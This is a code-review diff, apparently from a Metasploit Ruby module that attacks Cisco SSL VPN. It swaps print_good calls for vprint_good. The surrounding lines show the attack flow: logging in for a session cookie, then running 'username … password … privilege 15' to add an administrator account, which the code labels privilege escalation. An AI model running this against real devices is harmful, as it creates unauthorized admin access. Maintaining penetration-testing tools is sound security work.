@@ -56,7 +56,7 @@ def validate_cisco_ssl_vpn
56
56
'method' => 'GET'
57
57
)
58
58
59
- print_good "#{ peer } - Server is responsive"
59
+ vprint_good "#{ peer } - Server is responsive"
60
60
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout , ::Rex ::ConnectionError , ::Errno ::EPIPE
61
61
return false
62
62
end
@@ -94,7 +94,7 @@ def do_logout(cookie)
94
94
95
95
if res &&
96
96
res . code == 200
97
- print_good "#{ peer } - Logged out"
97
+ vprint_good "#{ peer } - Logged out"
98
98
end
99
99
end
100
100
@@ -125,7 +125,7 @@ def do_show_version(cookie, tries = 3)
125
125
return resp . body
126
126
else
127
127
vprint_error "#{ peer } - Unable to run '#{ command } '"
128
- print_good "#{ peer } - Retrying #{ i } '#{ command } '" unless i == 2
128
+ vprint_good "#{ peer } - Retrying #{ i } '#{ command } '" unless i == 2
129
129
end
130
130
end
131
131
@@ -137,18 +137,18 @@ def add_user(cookie, tries = 3)
137
137
password = random_password
138
138
139
139
tries . times do |i |
140
- print_good "#{ peer } - Attemping to add User: #{ username } , Pass: #{ password } "
140
+ vprint_good "#{ peer } - Attemping to add User: #{ username } , Pass: #{ password } "
141
141
command = "username #{ username } password #{ password } privilege 15"
142
142
resp = run_command ( command , cookie )
143
143
144
144
if resp &&
145
145
!resp . body . include? ( 'Command authorization failed' ) &&
146
146
!resp . body . include? ( 'Command failed' )
147
- print_good "#{ peer } - Privilege Escalation Appeared Successful"
147
+ vprint_good "#{ peer } - Privilege Escalation Appeared Successful"
148
148
return [ username , password ]
149
149
else
150
150
vprint_error "#{ peer } - Unable to run '#{ command } '"
151
- print_good "#{ peer } - Retrying #{ i } '#{ command } '" unless i == tries - 1
151
+ vprint_good "#{ peer } - Retrying #{ i } '#{ command } '" unless i == tries - 1
152
152
end
153
153
end
154
154
@@ -200,7 +200,7 @@ def do_login(user, pass, group)
200
200
resp . body . include? ( 'SSL VPN Service' ) &&
201
201
resp . body . include? ( 'webvpn_logout' )
202
202
203
- print_good "#{ peer } - Logged in with User: #{ datastore [ 'USERNAME' ] } , Pass: #{ datastore [ 'PASSWORD' ] } and Group: #{ datastore [ 'GROUP' ] } "
203
+ vprint_good "#{ peer } - Logged in with User: #{ datastore [ 'USERNAME' ] } , Pass: #{ datastore [ 'PASSWORD' ] } and Group: #{ datastore [ 'GROUP' ] } "
204
204
return resp . get_cookies
205
205
else
206
206
return false
@@ -222,7 +222,7 @@ def run_host(ip)
222
222
# interimittent based on session, so we'll just retry
223
223
# 'X' times.
224
224
datastore [ 'RETRIES' ] . times do |i |
225
- print_good "#{ peer } - Exploit Attempt ##{ i } "
225
+ vprint_good "#{ peer } - Exploit Attempt ##{ i } "
226
226
227
227
# Authenticate to SSL VPN and get session cookie
228
228
cookie = do_login (
0 commit comments